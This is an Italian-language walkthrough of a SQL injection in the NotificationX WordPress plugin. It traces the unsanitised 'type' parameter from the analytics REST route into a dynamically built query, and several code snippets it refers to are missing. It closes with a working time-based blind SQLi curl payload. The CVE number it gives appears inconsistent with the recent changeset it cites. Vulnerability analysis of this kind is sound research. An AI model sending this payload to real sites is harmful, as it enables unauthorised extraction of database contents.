
Analisi tecnica passo-passo di CVE-2019-1698, una vulnerabilità di SQL injection in un plugin di WordPress, con revisione del diff del codice, identificazione della funzione vulnerabile e dimostrazione dello sfruttamento usando curl.
Riferimento codice 1: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Rest/Analytics.php

Riferimento codice 2: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php

Pertanto, il seguente file è rilevante per questa CVE:
wp-content/plugins/notificationx/includes/Core/Rest/Analytics.php
Ora controlleremo se il file potrebbe contenere codice vulnerabile:
Concentriamoci sulla funzione insert_analytics():
Riceve $request (proveniente dall'utente) ed estrae il parametro type.
Poi, questo valore viene passato alla funzione CoreAnalytics::get_instance()->insert_analytics():

Per attivare questo codice, possiamo notare la route mappata (dalla classe Analytics, all'interno della funzione register_routes()):
$this->namespace . '/' . $this->rest_base
E il costruttore della classe Analytics rivela i valori per le variabili namespace e rest_base:
public function __construct() {
$this->namespace = 'notificationx/v1';
$this->rest_base = 'analytics';
add_action('rest_api_init', [$this, 'register_routes']);
}
Quindi, il codice rilevante (vulnerabile) che accetta il parametro type fornito dall'utente può essere raggiunto tramite la seguente route:
notificationx/v1/analytics
Ma qual è il metodo per sfruttare la vulnerabilità e dove si trova la query SQL per l'iniezione?
Poiché il parametro type fornito dall'utente viene passato a:
CoreAnalytics::get_instance()->insert_analytics( absint( $params['nx_id'] ), $type );
Localizzando questa funzione:
Controlliamo il codice di questa funzione nel file evidenziato:
wp-content/plugins/notificationx/includes/Core/Analytics.php:

Se stai pensando che la vulnerabilità risieda nella funzione increment_count(), sei assolutamente sulla strada giusta!
Ecco la funzione increment_count (e riceve il parametro $type proveniente dall'utente):

Questa funzione a sua volta chiama la funzione update_analytics(). Andiamo ad esaminarla:


La funzione update_analytics crea dinamicamente una query SQL e l'input utente non sanificato ne fa parte. Puzza di strano? Dovrebbe, perché è ciò che causa la vulnerabilità.
Il parametro $col corrisponde al parametro type inviato dall'utente nella richiesta HTTP.
Il nome della tabella ($table_name) è impostato a: nx_stats:
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
Per identificare il verbo corretto, ho usato l'API REST di WordPress:
http://localhost/wp-json/

La route API /notificationx/v1/analytics può essere attivata con una richiesta POST e dobbiamo passare nx_id (un intero) e (opzionalmente) type (una stringa).
Ricorda, le informazioni sull'analisi sono state aggiornate nella tabella chiamata nx_stats, che abbiamo dedotto in precedenza usando questi frammenti di codice da wp-content/plugins/notificationx/includes/Core/Database.php:
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
$table_name = self::$table_stats;

Il nostro piano è vedere la query SQL costruita quando passiamo il nostro payload nella richiesta.
E ora, invieremo di nuovo la nostra richiesta curl (con il payload di SQLi):
time curl http://localhost:8080/wp-json/notificationx/v1/analytics -d 'nx_id=1337&type=clicks`=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -'
